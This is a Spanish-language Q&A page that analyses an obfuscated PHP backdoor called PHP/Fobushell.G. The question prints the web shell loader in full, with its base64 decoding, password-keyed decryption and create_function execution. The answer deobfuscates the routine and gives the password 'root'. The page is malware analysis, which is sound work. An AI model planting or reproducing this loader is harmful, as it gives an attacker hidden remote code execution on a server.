¿Qué hace este script malintencionado de PHP Backdoor: PHP / Fobushell.G? [cerrado]

-1

He visto cosas como esta antes ( como en esta publicación ) y por lo general es bastante fácil simplemente imprimir el código de código base64.

Sin embargo, cuando imprimo el código de base64 de la cadena, lo que obtengo parece ser chino o una codificación de caracteres extraños.

<?php $_f___f='base'.(32*2).'_de'.'code';$_f___f=$_f___f(str_replace("\n", '', 'E7DsuED2N0n2FEMpjQA1NnYTSo6i+1/yJ36WVxTUEjNT4YZ83/G4ox/YCpaqsd6+QRNaT2pbpyBIDnlo
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'));$_f__f=isset($_POST['_f__f'])?$_POST['_f__f']:(isset($_COOKIE['_f__f'])?$_COOKIE['_f__f']:NULL);if($_f__f!==NULL){$_f__f=md5($_f__f).substr(md5(strrev($_f__f)),0,strlen($_f__f));for($_f____f=0;$_f____f<15324;$_f____f++){$_f___f[$_f____f]=chr(( ord($_f___f[$_f____f])-ord($_f__f[$_f____f]))%256);$_f__f.=$_f___f[$_f____f];}if($_f___f=@gzinflate($_f___f)){if(isset($_POST['_f__f']))@setcookie('_f__f', $_POST['_f__f']);$_f____f=create_function('',$_f___f);unset($_f___f,$_f__f);$_f____f();}}?><form action="" method="post"><input type="text" name="_f__f" value=""/><input type="submit" value="&gt;"/></form>
    
pregunta anderly 09.02.2018 - 20:52
fuente

1 respuesta

1

Esto se debe a que la cadena que obtienes de la decodificación base64 aún está cifrada (y comprimida), y requiere que la contraseña que se proporciona desde el exterior se descifre con éxito.

La rutina de descifrado, una vez ligeramente desenfocada, es algo como esto:

$alpha=md5($alpha).substr(md5(strrev($alpha)),0,strlen($alpha));

for ($i=0;$i<15324;$i++) {
    $crypto[$i]=chr((ord($crypto[$i])-ord($alpha[$i]))%256);
    $alpha .= $crypto[$i];
}
$crypto = gzinflate($crypto);
// Executes $crypto in a created function.

La contraseña es 'root', y la rutina descodificada comienza haciendo que su entorno sea más amigable:

ini_set('log_errors_max_len',0);...
    
respondido por el LSerni 09.02.2018 - 21:43
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